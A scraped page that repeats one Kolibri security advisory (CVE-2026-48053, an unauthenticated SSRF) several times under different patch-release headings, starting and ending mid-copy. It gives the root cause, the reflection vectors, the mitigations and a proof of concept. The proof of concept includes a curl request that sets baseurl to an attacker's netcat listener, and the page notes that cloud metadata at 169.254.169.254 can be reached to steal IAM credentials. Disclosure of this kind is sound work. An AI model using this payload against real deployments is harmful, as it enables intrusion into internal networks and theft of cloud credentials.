POST /api/auth/remotefacilityauthenticateduserinfo → RemoteFacilityUserAuthenticatedViewset (kolibri/core/auth/api.py:1594). Authentication is checked against the remote server rather than the local Kolibri.

Found during remediation:

POST /api/public/setupwizard/loddata → setup wizard's remote-signup proxy (kolibri/plugins/setup_wizard/api.py). Reachable on unprovisioned devices.
GET /api/public/networklocation/<id>/facilities/ → NetworkLocationFacilitiesView (kolibri/core/discovery/api.py). Authenticated but with the same Response(remote_payload) pattern.

Root cause

Two compounding issues:

Response reflection — these endpoints returned the remote server's JSON body more or less verbatim to the caller (Response(response.json()), Response(facility_info["users"]), etc.).
No restriction on the remote target — baseurl was validated only by URLValidator(schemes=["http", "https"]). NetworkClient.build_for_address() would connect to any host with a valid Kolibri-shaped /api/public/info/ response, and requests followed 30x redirects by default, so a hostile peer could pivot the fetch to an arbitrary host (cloud metadata, internal services) before reflection.

Two reflection vectors

GET vector (RemoteFacilityUserViewset): The viewset fetched <baseurl>/api/public/facilitysearchuser/ and returned Response(response.json()). An attacker-controlled baseurl returned a 302 to an arbitrary internal URL; requests followed the redirect, and the redirected response body was returned to the attacker.

POST vector (RemoteFacilityUserAuthenticatedViewset): get_remote_users_info() fetched <baseurl>/api/public/facilityuser/ with Basic Auth and the viewset returned Response(facility_info["users"]). A malicious baseurl returned crafted user-shaped JSON; arbitrary smuggled fields were reflected back to the caller. The setup wizard and NetworkLocationFacilitiesView endpoints had the same shape on different remote URLs.

Reproduction

The vulnerability can be reproduced by pointing baseurl at an attacker-controlled HTTP server that:

Responds to GET /api/public/info/ with a valid Kolibri info payload (so NetworkClient.build_for_address() succeeds).
GET vector: responds to GET /api/public/facilitysearchuser/ with a 302 redirect to the target URL. The redirected response body is reflected via Response(response.json()).
POST vector: responds to the relevant remote URL with crafted JSON containing additional fields. The full JSON is reflected.

A working PoC has been retained internally and is not published with this advisory.

Demonstrated impact (pre-fix)

Unauthenticated outbound requests from the Kolibri server to any HTTP(S) URL the attacker chose (GET endpoint only; the others required auth or an unprovisioned device).
Reflected data exfiltration for any HTTP endpoint that responded to a plain GET with JSON and no special request headers.
Cloud metadata reachability was realistic but service-specific:
- AWS IMDSv1 — reachable
- DigitalOcean (/metadata/v1.json) — reachable
- GCP, Azure, AWS IMDSv2 — not reachable via this vector (require Metadata-Flavor / Metadata / token headers that the attacker could not inject)
Reachability of internal HTTP services on the same network as the Kolibri server, with their JSON responses returned to the attacker.

Not demonstrated

The earlier draft asserted port scanning via a timing oracle and generic "internal network mapping." The reflection vector reads response bodies directly when the target speaks JSON; timing-based scanning of arbitrary TCP services was not demonstrated and is not the headline risk.

Mitigation

Four layers of defence:

Response sanitisation. Each affected endpoint now coerces the remote response to a documented shape before returning it. Smuggled fields are dropped.
Authentication. The previously-open RemoteFacilityUser* endpoints now require an authenticated caller (or an unprovisioned device, for setup-wizard flows).
Cross-host redirect blocking. Remote-fetch HTTP sessions refuse 30x responses that point to a different hostname. Same-host redirects still work.
Peer allowlist. Endpoints that accept a caller-supplied baseurl resolve it only to peers Kolibri already knows about, rather than connecting to arbitrary hosts. Discovery and CLI flows that legitimately need to probe new addresses use a separate code path.

Credit

Initial report and identification of the RemoteFacilityUser* viewsets by @beraoudabdelkhalek. Reflection-based PoC, additional vector identification, and remediation by the Kolibri maintainers.

Summary

The RemoteFacilityUserViewset API endpoint (/api/auth/remotefacilityuser) has no authentication or permission checks and accepts a user-controlled baseurl parameter. This parameter is passed directly to NetworkClient.build_for_address() which makes server-side HTTP requests to the attacker-specified URL. An unauthenticated attacker can force the Kolibri server to reach out to arbitrary internal hosts, port-scan internal networks, and access cloud metadata endpoints.

Details

This is mainly due to the following issues:

1. Missing authentication on the API endpoint

File: kolibri/core/auth/api.py, line ~1553

class RemoteFacilityUserViewset(views.APIView):  # No permission_classes → AllowAny
    def get(self, request):
        baseurl = request.query_params.get("baseurl", "")
        validator(baseurl)  # Only checks URL format (http/https scheme + valid hostname)
        client = NetworkClient.build_for_address(baseurl)
        response = client.get(url, params={"facility": facility, "search": username})

No permission_classes attribute is defined, and DEFAULT_PERMISSION_CLASSES is not set in the DRF configuration, so the endpoint defaults to AllowAny , accepting requests with zero authentication.

Similarly, RemoteFacilityUserAuthenticatedViewset (line ~1577, POST endpoint) also has no permission_classes, though it currently checks permissions via a different mechanism. The initial build_for_address() call still fires before that check.

2. Weak URL validation

File: kolibri/utils/urls.py, line 1-7

from django.core.validators import URLValidator
validator = URLValidator(schemes=["http", "https"])

The only validation is that the URL has an http or https scheme and a valid hostname. There is no block on:

RFC 1918 private IPs (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)
Loopback addresses (127.0.0.0/8, ::1)
Link-local addresses (169.254.0.0/16, including AWS/GCP/Azure metadata endpoints)
IPv6 equivalents of any of the above

PoC

Prerequisites: A listener on a host reachable by the Kolibri server (e.g., nc -lvp 1337) the listener can be local or remote.

Against a local Docker deployment (validated against Kolibri 0.19.3):

# Trigger the SSRF no auth headers needed
curl "http://localhost:8080/api/auth/remotefacilityuser?baseurl=http://172.17.0.1:1337&username=test&facility=<facility_id>"

The Kolibri server makes an outbound HTTP request to the attacker's listener:

GET /api/public/info/?v=3 HTTP/1.1
Host: 172.17.0.1:1337
User-Agent: Kolibri/0.19.3 python-requests/2.27.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

Testers have also confirmed the issue against live deployments of Kolibri.

Impact

Unauthenticated SSRF : any attacker who can reach the Kolibri server can make it issue HTTP requests to arbitrary hosts, with no credentials needed Internal network scanning : the built-in port scanning behavior (5+ ports per HTTP target, 24+ connection attempts per request) allows mapping internal networks through the timing oracle Cloud metadata access : if Kolibri runs on a cloud VM (AWS EC2, GCP, Azure), the attacker can reach 169.254.169.254 and potentially exfiltrate IAM credentials and instance metadata Internal service discovery : other Kolibri instances or internal services on the network can be discovered and their API responses read by the attacker Blind SSRF via POST endpoint : RemoteFacilityUserAuthenticatedViewset returns 403 to the attacker but still makes the outbound request before the permission check

Affected versions


          0.0.1.dev20160531112859


          0.1.1rc2


          0.1.1rc3


          0.10.0


          0.10.1


          0.10.2


          0.10.3


          0.10.3b2


          0.10.3b3


          0.11.0


          0.11.0b2


          0.11.1

+ 114 more


            0.12.0


            0.12.0b5


            0.12.0b6


            0.12.0b7


            0.12.0b8


            0.12.0b9


            0.12.1


            0.12.10b3


            0.12.2


            0.12.3


            0.12.3b1


            0.12.4


            0.12.4b2


            0.12.4b3


            0.12.4b5


            0.12.4b6


            0.12.4b7


            0.12.4b8


            0.12.5


            0.12.5b1


            0.12.5b2


            0.12.6


            0.12.6b1


            0.12.6b2


            0.12.6rc1


            0.12.7


            0.12.8


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0b2


            0.13.0b3


            0.13.0b4


            0.13.0b5


            0.13.0b6


            0.13.0b7


            0.13.0b8


            0.13.1


            0.13.1b1


            0.13.1b2


            0.13.2


            0.13.2b1


            0.13.3


            0.13.3b1


            0.13.3rc1


            0.14.0


            0.14.0b10


            0.14.0b3


            0.14.0rc1


            0.14.1


            0.14.2


            0.14.3


            0.14.4


            0.14.4rc1


            0.14.5


            0.14.6


            0.14.7


            0.14.8a1


            0.14.8a2


            0.14.8a4


            0.14.8a5


            0.14.8a6


            0.14.8a7


            0.14.8a8


            0.15.0


            0.15.0b5


            0.15.1


            0.15.10


            0.15.11


            0.15.12


            0.15.1b1


            0.15.2


            0.15.3


            0.15.4


            0.15.5


            0.15.6


            0.15.7


            0.15.8


            0.15.9


            0.16.0


            0.16.1


            0.16.2


            0.17.0


            0.17.1


            0.17.2


            0.17.3


            0.17.4


            0.17.5


            0.18.0


            0.18.1


            0.18.2


            0.18.3


            0.18.4


            0.19.0


            0.19.1


            0.19.2


            0.19.3


            0.2.0a0


            0.2.0a2


            0.2.1


            0.4.4


            0.5.3


            0.6.1


            0.7.0


            0.7.1


            0.7.2


            0.7.2b2


            0.8.0


            0.8.0b3


            0.8.0b4


            0.9.0


            0.9.1


            0.9.2

Fixed in


          0.19.4

References

Updated Jul 13, 2026 · Source: OSV.dev

Dec 11, 2025

0.18.4 patch

1 CVE

CVE-2026-48053 PYSEC-2026-2554 GHSA-4mj9-pf4r-cqrc Jul 13, 2026

Kolibri has Unauthenticated Server-Side Request Forgery (SSRF) in RemoteFacilityUserViewset

5.8 / 10

Medium

Network Low None None Changed Low None None

Summary

Several Kolibri API endpoints accept an unvalidated baseurl parameter and fetch attacker-controlled URLs from the Kolibri server, reflecting the response body back to the caller. The original report identified two endpoints on the RemoteFacilityUser* viewsets; remediation review found two further reflection points on the same pattern. The GET endpoint was unauthenticated.

Affected endpoints

Reported:

GET /api/auth/remotefacilityuser → RemoteFacilityUserViewset (kolibri/core/auth/api.py:1570). No authentication required.
POST /api/auth/remotefacilityauthenticateduserinfo → RemoteFacilityUserAuthenticatedViewset (kolibri/core/auth/api.py:1594). Authentication is checked against the remote server rather than the local Kolibri.

Found during remediation:

POST /api/public/setupwizard/loddata → setup wizard's remote-signup proxy (kolibri/plugins/setup_wizard/api.py). Reachable on unprovisioned devices.
GET /api/public/networklocation/<id>/facilities/ → NetworkLocationFacilitiesView (kolibri/core/discovery/api.py). Authenticated but with the same Response(remote_payload) pattern.

Root cause

Two compounding issues:

Response reflection — these endpoints returned the remote server's JSON body more or less verbatim to the caller (Response(response.json()), Response(facility_info["users"]), etc.).
No restriction on the remote target — baseurl was validated only by URLValidator(schemes=["http", "https"]). NetworkClient.build_for_address() would connect to any host with a valid Kolibri-shaped /api/public/info/ response, and requests followed 30x redirects by default, so a hostile peer could pivot the fetch to an arbitrary host (cloud metadata, internal services) before reflection.

Two reflection vectors

GET vector (RemoteFacilityUserViewset): The viewset fetched <baseurl>/api/public/facilitysearchuser/ and returned Response(response.json()). An attacker-controlled baseurl returned a 302 to an arbitrary internal URL; requests followed the redirect, and the redirected response body was returned to the attacker.

POST vector (RemoteFacilityUserAuthenticatedViewset): get_remote_users_info() fetched <baseurl>/api/public/facilityuser/ with Basic Auth and the viewset returned Response(facility_info["users"]). A malicious baseurl returned crafted user-shaped JSON; arbitrary smuggled fields were reflected back to the caller. The setup wizard and NetworkLocationFacilitiesView endpoints had the same shape on different remote URLs.

Reproduction

The vulnerability can be reproduced by pointing baseurl at an attacker-controlled HTTP server that:

Responds to GET /api/public/info/ with a valid Kolibri info payload (so NetworkClient.build_for_address() succeeds).
GET vector: responds to GET /api/public/facilitysearchuser/ with a 302 redirect to the target URL. The redirected response body is reflected via Response(response.json()).
POST vector: responds to the relevant remote URL with crafted JSON containing additional fields. The full JSON is reflected.

A working PoC has been retained internally and is not published with this advisory.

Demonstrated impact (pre-fix)

Unauthenticated outbound requests from the Kolibri server to any HTTP(S) URL the attacker chose (GET endpoint only; the others required auth or an unprovisioned device).
Reflected data exfiltration for any HTTP endpoint that responded to a plain GET with JSON and no special request headers.
Cloud metadata reachability was realistic but service-specific:
- AWS IMDSv1 — reachable
- DigitalOcean (/metadata/v1.json) — reachable
- GCP, Azure, AWS IMDSv2 — not reachable via this vector (require Metadata-Flavor / Metadata / token headers that the attacker could not inject)
Reachability of internal HTTP services on the same network as the Kolibri server, with their JSON responses returned to the attacker.

Not demonstrated

The earlier draft asserted port scanning via a timing oracle and generic "internal network mapping." The reflection vector reads response bodies directly when the target speaks JSON; timing-based scanning of arbitrary TCP services was not demonstrated and is not the headline risk.

Mitigation

Four layers of defence:

Response sanitisation. Each affected endpoint now coerces the remote response to a documented shape before returning it. Smuggled fields are dropped.
Authentication. The previously-open RemoteFacilityUser* endpoints now require an authenticated caller (or an unprovisioned device, for setup-wizard flows).
Cross-host redirect blocking. Remote-fetch HTTP sessions refuse 30x responses that point to a different hostname. Same-host redirects still work.
Peer allowlist. Endpoints that accept a caller-supplied baseurl resolve it only to peers Kolibri already knows about, rather than connecting to arbitrary hosts. Discovery and CLI flows that legitimately need to probe new addresses use a separate code path.

Credit

Initial report and identification of the RemoteFacilityUser* viewsets by @beraoudabdelkhalek. Reflection-based PoC, additional vector identification, and remediation by the Kolibri maintainers.

Summary

The RemoteFacilityUserViewset API endpoint (/api/auth/remotefacilityuser) has no authentication or permission checks and accepts a user-controlled baseurl parameter. This parameter is passed directly to NetworkClient.build_for_address() which makes server-side HTTP requests to the attacker-specified URL. An unauthenticated attacker can force the Kolibri server to reach out to arbitrary internal hosts, port-scan internal networks, and access cloud metadata endpoints.

Details

This is mainly due to the following issues:

1. Missing authentication on the API endpoint

File: kolibri/core/auth/api.py, line ~1553

class RemoteFacilityUserViewset(views.APIView):  # No permission_classes → AllowAny
    def get(self, request):
        baseurl = request.query_params.get("baseurl", "")
        validator(baseurl)  # Only checks URL format (http/https scheme + valid hostname)
        client = NetworkClient.build_for_address(baseurl)
        response = client.get(url, params={"facility": facility, "search": username})

No permission_classes attribute is defined, and DEFAULT_PERMISSION_CLASSES is not set in the DRF configuration, so the endpoint defaults to AllowAny , accepting requests with zero authentication.

Similarly, RemoteFacilityUserAuthenticatedViewset (line ~1577, POST endpoint) also has no permission_classes, though it currently checks permissions via a different mechanism. The initial build_for_address() call still fires before that check.

2. Weak URL validation

File: kolibri/utils/urls.py, line 1-7

from django.core.validators import URLValidator
validator = URLValidator(schemes=["http", "https"])

The only validation is that the URL has an http or https scheme and a valid hostname. There is no block on:

RFC 1918 private IPs (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)
Loopback addresses (127.0.0.0/8, ::1)
Link-local addresses (169.254.0.0/16, including AWS/GCP/Azure metadata endpoints)
IPv6 equivalents of any of the above

PoC

Prerequisites: A listener on a host reachable by the Kolibri server (e.g., nc -lvp 1337) the listener can be local or remote.

Against a local Docker deployment (validated against Kolibri 0.19.3):

# Trigger the SSRF no auth headers needed
curl "http://localhost:8080/api/auth/remotefacilityuser?baseurl=http://172.17.0.1:1337&username=test&facility=<facility_id>"

The Kolibri server makes an outbound HTTP request to the attacker's listener:

GET /api/public/info/?v=3 HTTP/1.1
Host: 172.17.0.1:1337
User-Agent: Kolibri/0.19.3 python-requests/2.27.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

Testers have also confirmed the issue against live deployments of Kolibri.

Impact

Unauthenticated SSRF : any attacker who can reach the Kolibri server can make it issue HTTP requests to arbitrary hosts, with no credentials needed Internal network scanning : the built-in port scanning behavior (5+ ports per HTTP target, 24+ connection attempts per request) allows mapping internal networks through the timing oracle Cloud metadata access : if Kolibri runs on a cloud VM (AWS EC2, GCP, Azure), the attacker can reach 169.254.169.254 and potentially exfiltrate IAM credentials and instance metadata Internal service discovery : other Kolibri instances or internal services on the network can be discovered and their API responses read by the attacker Blind SSRF via POST endpoint : RemoteFacilityUserAuthenticatedViewset returns 403 to the attacker but still makes the outbound request before the permission check

Affected versions


          0.0.1.dev20160531112859


          0.1.1rc2


          0.1.1rc3


          0.10.0


          0.10.1


          0.10.2


          0.10.3


          0.10.3b2


          0.10.3b3


          0.11.0


          0.11.0b2


          0.11.1

+ 114 more


            0.12.0


            0.12.0b5


            0.12.0b6


            0.12.0b7


            0.12.0b8


            0.12.0b9


            0.12.1


            0.12.10b3


            0.12.2


            0.12.3


            0.12.3b1


            0.12.4


            0.12.4b2


            0.12.4b3


            0.12.4b5


            0.12.4b6


            0.12.4b7


            0.12.4b8


            0.12.5


            0.12.5b1


            0.12.5b2


            0.12.6


            0.12.6b1


            0.12.6b2


            0.12.6rc1


            0.12.7


            0.12.8


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0b2


            0.13.0b3


            0.13.0b4


            0.13.0b5


            0.13.0b6


            0.13.0b7


            0.13.0b8


            0.13.1


            0.13.1b1


            0.13.1b2


            0.13.2


            0.13.2b1


            0.13.3


            0.13.3b1


            0.13.3rc1


            0.14.0


            0.14.0b10


            0.14.0b3


            0.14.0rc1


            0.14.1


            0.14.2


            0.14.3


            0.14.4


            0.14.4rc1


            0.14.5


            0.14.6


            0.14.7


            0.14.8a1


            0.14.8a2


            0.14.8a4


            0.14.8a5


            0.14.8a6


            0.14.8a7


            0.14.8a8


            0.15.0


            0.15.0b5


            0.15.1


            0.15.10


            0.15.11


            0.15.12


            0.15.1b1


            0.15.2


            0.15.3


            0.15.4


            0.15.5


            0.15.6


            0.15.7


            0.15.8


            0.15.9


            0.16.0


            0.16.1


            0.16.2


            0.17.0


            0.17.1


            0.17.2


            0.17.3


            0.17.4


            0.17.5


            0.18.0


            0.18.1


            0.18.2


            0.18.3


            0.18.4


            0.19.0


            0.19.1


            0.19.2


            0.19.3


            0.2.0a0


            0.2.0a2


            0.2.1


            0.4.4


            0.5.3


            0.6.1


            0.7.0


            0.7.1


            0.7.2


            0.7.2b2


            0.8.0


            0.8.0b3


            0.8.0b4


            0.9.0


            0.9.1


            0.9.2

Fixed in


          0.19.4

References

Updated Jul 13, 2026 · Source: OSV.dev

Oct 06, 2025

0.18.3 patch

1 CVE

CVE-2026-48053 PYSEC-2026-2554 GHSA-4mj9-pf4r-cqrc Jul 13, 2026

Kolibri has Unauthenticated Server-Side Request Forgery (SSRF) in RemoteFacilityUserViewset

5.8 / 10

Medium

Network Low None None Changed Low None None

Summary

Several Kolibri API endpoints accept an unvalidated baseurl parameter and fetch attacker-controlled URLs from the Kolibri server, reflecting the response body back to the caller. The original report identified two endpoints on the RemoteFacilityUser* viewsets; remediation review found two further reflection points on the same pattern. The GET endpoint was unauthenticated.

Affected endpoints

Reported:

GET /api/auth/remotefacilityuser → RemoteFacilityUserViewset (kolibri/core/auth/api.py:1570). No authentication required.
POST /api/auth/remotefacilityauthenticateduserinfo → RemoteFacilityUserAuthenticatedViewset (kolibri/core/auth/api.py:1594). Authentication is checked against the remote server rather than the local Kolibri.

Found during remediation:

POST /api/public/setupwizard/loddata → setup wizard's remote-signup proxy (kolibri/plugins/setup_wizard/api.py). Reachable on unprovisioned devices.
GET /api/public/networklocation/<id>/facilities/ → NetworkLocationFacilitiesView (kolibri/core/discovery/api.py). Authenticated but with the same Response(remote_payload) pattern.

Root cause

Two compounding issues:

Response reflection — these endpoints returned the remote server's JSON body more or less verbatim to the caller (Response(response.json()), Response(facility_info["users"]), etc.).
No restriction on the remote target — baseurl was validated only by URLValidator(schemes=["http", "https"]). NetworkClient.build_for_address() would connect to any host with a valid Kolibri-shaped /api/public/info/ response, and requests followed 30x redirects by default, so a hostile peer could pivot the fetch to an arbitrary host (cloud metadata, internal services) before reflection.

Two reflection vectors

GET vector (RemoteFacilityUserViewset): The viewset fetched <baseurl>/api/public/facilitysearchuser/ and returned Response(response.json()). An attacker-controlled baseurl returned a 302 to an arbitrary internal URL; requests followed the redirect, and the redirected response body was returned to the attacker.

POST vector (RemoteFacilityUserAuthenticatedViewset): get_remote_users_info() fetched <baseurl>/api/public/facilityuser/ with Basic Auth and the viewset returned Response(facility_info["users"]). A malicious baseurl returned crafted user-shaped JSON; arbitrary smuggled fields were reflected back to the caller. The setup wizard and NetworkLocationFacilitiesView endpoints had the same shape on different remote URLs.

Reproduction

The vulnerability can be reproduced by pointing baseurl at an attacker-controlled HTTP server that:

Responds to GET /api/public/info/ with a valid Kolibri info payload (so NetworkClient.build_for_address() succeeds).
GET vector: responds to GET /api/public/facilitysearchuser/ with a 302 redirect to the target URL. The redirected response body is reflected via Response(response.json()).
POST vector: responds to the relevant remote URL with crafted JSON containing additional fields. The full JSON is reflected.

A working PoC has been retained internally and is not published with this advisory.

Demonstrated impact (pre-fix)

Unauthenticated outbound requests from the Kolibri server to any HTTP(S) URL the attacker chose (GET endpoint only; the others required auth or an unprovisioned device).
Reflected data exfiltration for any HTTP endpoint that responded to a plain GET with JSON and no special request headers.
Cloud metadata reachability was realistic but service-specific:
- AWS IMDSv1 — reachable
- DigitalOcean (/metadata/v1.json) — reachable
- GCP, Azure, AWS IMDSv2 — not reachable via this vector (require Metadata-Flavor / Metadata / token headers that the attacker could not inject)
Reachability of internal HTTP services on the same network as the Kolibri server, with their JSON responses returned to the attacker.

Not demonstrated

The earlier draft asserted port scanning via a timing oracle and generic "internal network mapping." The reflection vector reads response bodies directly when the target speaks JSON; timing-based scanning of arbitrary TCP services was not demonstrated and is not the headline risk.

Mitigation

Four layers of defence:

Response sanitisation. Each affected endpoint now coerces the remote response to a documented shape before returning it. Smuggled fields are dropped.
Authentication. The previously-open RemoteFacilityUser* endpoints now require an authenticated caller (or an unprovisioned device, for setup-wizard flows).
Cross-host redirect blocking. Remote-fetch HTTP sessions refuse 30x responses that point to a different hostname. Same-host redirects still work.
Peer allowlist. Endpoints that accept a caller-supplied baseurl resolve it only to peers Kolibri already knows about, rather than connecting to arbitrary hosts. Discovery and CLI flows that legitimately need to probe new addresses use a separate code path.

Credit

Initial report and identification of the RemoteFacilityUser* viewsets by @beraoudabdelkhalek. Reflection-based PoC, additional vector identification, and remediation by the Kolibri maintainers.

Summary

The RemoteFacilityUserViewset API endpoint (/api/auth/remotefacilityuser) has no authentication or permission checks and accepts a user-controlled baseurl parameter. This parameter is passed directly to NetworkClient.build_for_address() which makes server-side HTTP requests to the attacker-specified URL. An unauthenticated attacker can force the Kolibri server to reach out to arbitrary internal hosts, port-scan internal networks, and access cloud metadata endpoints.

Details

This is mainly due to the following issues:

1. Missing authentication on the API endpoint

File: kolibri/core/auth/api.py, line ~1553

class RemoteFacilityUserViewset(views.APIView):  # No permission_classes → AllowAny
    def get(self, request):
        baseurl = request.query_params.get("baseurl", "")
        validator(baseurl)  # Only checks URL format (http/https scheme + valid hostname)
        client = NetworkClient.build_for_address(baseurl)
        response = client.get(url, params={"facility": facility, "search": username})

No permission_classes attribute is defined, and DEFAULT_PERMISSION_CLASSES is not set in the DRF configuration, so the endpoint defaults to AllowAny , accepting requests with zero authentication.

Similarly, RemoteFacilityUserAuthenticatedViewset (line ~1577, POST endpoint) also has no permission_classes, though it currently checks permissions via a different mechanism. The initial build_for_address() call still fires before that check.

2. Weak URL validation

File: kolibri/utils/urls.py, line 1-7

from django.core.validators import URLValidator
validator = URLValidator(schemes=["http", "https"])

The only validation is that the URL has an http or https scheme and a valid hostname. There is no block on:

RFC 1918 private IPs (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)
Loopback addresses (127.0.0.0/8, ::1)
Link-local addresses (169.254.0.0/16, including AWS/GCP/Azure metadata endpoints)
IPv6 equivalents of any of the above

PoC

Prerequisites: A listener on a host reachable by the Kolibri server (e.g., nc -lvp 1337) the listener can be local or remote.

Against a local Docker deployment (validated against Kolibri 0.19.3):

# Trigger the SSRF no auth headers needed
curl "http://localhost:8080/api/auth/remotefacilityuser?baseurl=http://172.17.0.1:1337&username=test&facility=<facility_id>"

The Kolibri server makes an outbound HTTP request to the attacker's listener:

GET /api/public/info/?v=3 HTTP/1.1
Host: 172.17.0.1:1337
User-Agent: Kolibri/0.19.3 python-requests/2.27.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

Testers have also confirmed the issue against live deployments of Kolibri.

Impact

Unauthenticated SSRF : any attacker who can reach the Kolibri server can make it issue HTTP requests to arbitrary hosts, with no credentials needed Internal network scanning : the built-in port scanning behavior (5+ ports per HTTP target, 24+ connection attempts per request) allows mapping internal networks through the timing oracle Cloud metadata access : if Kolibri runs on a cloud VM (AWS EC2, GCP, Azure), the attacker can reach 169.254.169.254 and potentially exfiltrate IAM credentials and instance metadata Internal service discovery : other Kolibri instances or internal services on the network can be discovered and their API responses read by the attacker Blind SSRF via POST endpoint : RemoteFacilityUserAuthenticatedViewset returns 403 to the attacker but still makes the outbound request before the permission check

Affected versions


          0.0.1.dev20160531112859


          0.1.1rc2


          0.1.1rc3


          0.10.0


          0.10.1


          0.10.2


          0.10.3


          0.10.3b2


          0.10.3b3


          0.11.0


          0.11.0b2


          0.11.1

+ 114 more


            0.12.0


            0.12.0b5


            0.12.0b6


            0.12.0b7


            0.12.0b8


            0.12.0b9


            0.12.1


            0.12.10b3


            0.12.2


            0.12.3


            0.12.3b1


            0.12.4


            0.12.4b2


            0.12.4b3


            0.12.4b5


            0.12.4b6


            0.12.4b7


            0.12.4b8


            0.12.5


            0.12.5b1


            0.12.5b2


            0.12.6


            0.12.6b1


            0.12.6b2


            0.12.6rc1


            0.12.7


            0.12.8


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0b2


            0.13.0b3


            0.13.0b4


            0.13.0b5


            0.13.0b6


            0.13.0b7


            0.13.0b8


            0.13.1


            0.13.1b1


            0.13.1b2


            0.13.2


            0.13.2b1


            0.13.3


            0.13.3b1


            0.13.3rc1


            0.14.0


            0.14.0b10


            0.14.0b3


            0.14.0rc1


            0.14.1


            0.14.2


            0.14.3


            0.14.4


            0.14.4rc1


            0.14.5


            0.14.6


            0.14.7


            0.14.8a1


            0.14.8a2


            0.14.8a4


            0.14.8a5


            0.14.8a6


            0.14.8a7


            0.14.8a8


            0.15.0


            0.15.0b5


            0.15.1


            0.15.10


            0.15.11


            0.15.12


            0.15.1b1


            0.15.2


            0.15.3


            0.15.4


            0.15.5


            0.15.6


            0.15.7


            0.15.8


            0.15.9


            0.16.0


            0.16.1


            0.16.2


            0.17.0


            0.17.1


            0.17.2


            0.17.3


            0.17.4


            0.17.5


            0.18.0


            0.18.1


            0.18.2


            0.18.3


            0.18.4


            0.19.0


            0.19.1


            0.19.2


            0.19.3


            0.2.0a0


            0.2.0a2


            0.2.1


            0.4.4


            0.5.3


            0.6.1


            0.7.0


            0.7.1


            0.7.2


            0.7.2b2


            0.8.0


            0.8.0b3


            0.8.0b4


            0.9.0


            0.9.1


            0.9.2

Fixed in


          0.19.4

References

Updated Jul 13, 2026 · Source: OSV.dev

Sep 17, 2025

0.18.2 patch

1 CVE

CVE-2026-48053 PYSEC-2026-2554 GHSA-4mj9-pf4r-cqrc Jul 13, 2026

Kolibri has Unauthenticated Server-Side Request Forgery (SSRF) in RemoteFacilityUserViewset

5.8 / 10

Medium

Network Low None None Changed Low None None

Summary

Several Kolibri API endpoints accept an unvalidated baseurl parameter and fetch attacker-controlled URLs from the Kolibri server, reflecting the response body back to the caller. The original report identified two endpoints on the RemoteFacilityUser* viewsets; remediation review found two further reflection points on the same pattern. The GET endpoint was unauthenticated.

Affected endpoints

Reported:

GET /api/auth/remotefacilityuser → RemoteFacilityUserViewset (kolibri/core/auth/api.py:1570). No authentication required.
POST /api/auth/remotefacilityauthenticateduserinfo → RemoteFacilityUserAuthenticatedViewset (kolibri/core/auth/api.py:1594). Authentication is checked against the remote server rather than the local Kolibri.

Found during remediation:

POST /api/public/setupwizard/loddata → setup wizard's remote-signup proxy (kolibri/plugins/setup_wizard/api.py). Reachable on unprovisioned devices.
GET /api/public/networklocation/<id>/facilities/ → NetworkLocationFacilitiesView (kolibri/core/discovery/api.py). Authenticated but with the same Response(remote_payload) pattern.

Root cause

Two compounding issues:

Response reflection — these endpoints returned the remote server's JSON body more or less verbatim to the caller (Response(response.json()), Response(facility_info["users"]), etc.).
No restriction on the remote target — baseurl was validated only by URLValidator(schemes=["http", "https"]). NetworkClient.build_for_address() would connect to any host with a valid Kolibri-shaped /api/public/info/ response, and requests followed 30x redirects by default, so a hostile peer could pivot the fetch to an arbitrary host (cloud metadata, internal services) before reflection.

Two reflection vectors

GET vector (RemoteFacilityUserViewset): The viewset fetched <baseurl>/api/public/facilitysearchuser/ and returned Response(response.json()). An attacker-controlled baseurl returned a 302 to an arbitrary internal URL; requests followed the redirect, and the redirected response body was returned to the attacker.

POST vector (RemoteFacilityUserAuthenticatedViewset): get_remote_users_info() fetched <baseurl>/api/public/facilityuser/ with Basic Auth and the viewset returned Response(facility_info["users"]). A malicious baseurl returned crafted user-shaped JSON; arbitrary smuggled fields were reflected back to the caller. The setup wizard and NetworkLocationFacilitiesView endpoints had the same shape on different remote URLs.

Reproduction

The vulnerability can be reproduced by pointing baseurl at an attacker-controlled HTTP server that:

Responds to GET /api/public/info/ with a valid Kolibri info payload (so NetworkClient.build_for_address() succeeds).
GET vector: responds to GET /api/public/facilitysearchuser/ with a 302 redirect to the target URL. The redirected response body is reflected via Response(response.json()).
POST vector: responds to the relevant remote URL with crafted JSON containing additional fields. The full JSON is reflected.

A working PoC has been retained internally and is not published with this advisory.

Demonstrated impact (pre-fix)

Unauthenticated outbound requests from the Kolibri server to any HTTP(S) URL the attacker chose (GET endpoint only; the others required auth or an unprovisioned device).
Reflected data exfiltration for any HTTP endpoint that responded to a plain GET with JSON and no special request headers.
Cloud metadata reachability was realistic but service-specific:
- AWS IMDSv1 — reachable
- DigitalOcean (/metadata/v1.json) — reachable
- GCP, Azure, AWS IMDSv2 — not reachable via this vector (require Metadata-Flavor / Metadata / token headers that the attacker could not inject)
Reachability of internal HTTP services on the same network as the Kolibri server, with their JSON responses returned to the attacker.

Not demonstrated

The earlier draft asserted port scanning via a timing oracle and generic "internal network mapping." The reflection vector reads response bodies directly when the target speaks JSON; timing-based scanning of arbitrary TCP services was not demonstrated and is not the headline risk.

Mitigation

Four layers of defence:

Response sanitisation. Each affected endpoint now coerces the remote response to a documented shape before returning it. Smuggled fields are dropped.
Authentication. The previously-open RemoteFacilityUser* endpoints now require an authenticated caller (or an unprovisioned device, for setup-wizard flows).
Cross-host redirect blocking. Remote-fetch HTTP sessions refuse 30x responses that point to a different hostname. Same-host redirects still work.
Peer allowlist. Endpoints that accept a caller-supplied baseurl resolve it only to peers Kolibri already knows about, rather than connecting to arbitrary hosts. Discovery and CLI flows that legitimately need to probe new addresses use a separate code path.

Credit

Initial report and identification of the RemoteFacilityUser* viewsets by @beraoudabdelkhalek. Reflection-based PoC, additional vector identification, and remediation by the Kolibri maintainers.

Summary

